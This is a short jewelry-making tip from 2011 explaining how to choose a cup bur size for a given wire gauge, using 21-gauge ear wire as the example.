Daily Wire Tip August 17: Cup Bur Sizes for Wire Gauges
Daily Wire Jewelry Making Tip for
August 17, 2011
Question:
How do I determine what size of burr cup to buy for the different size wire gauges? For instance, I use 21-gauge wire for making ear wires. What size burr cup would I use? Is there a chart out there somewhere? Thank you!

Answer:
Hi Bobbie, the size of the cup burr you choose should be just a hair larger than the wire you plan to use it on. For example, if you use 21-gauge (which is 0.723mm in diameter) to make ear wires, then you would want to use a cup bur of 0.8mm, or even the next size larger. To determine what size the wire is, check out our Conversion Table – American Wire Gauge to Inches and MM.
Choosing your cup bur in this manner, you will find that one will fit several wire gauges. Our sister site, JewelryTools.com, has a great selection of cup burs, including some sets! Remember that these are very versatile as they can be used in either a hand holder or in your Dremel or automatic wire twister.
For those of you who may not know what a cup bur is or how to use it, Sonja Kiser made a nice video tip for us called Removing Wire Burrs.
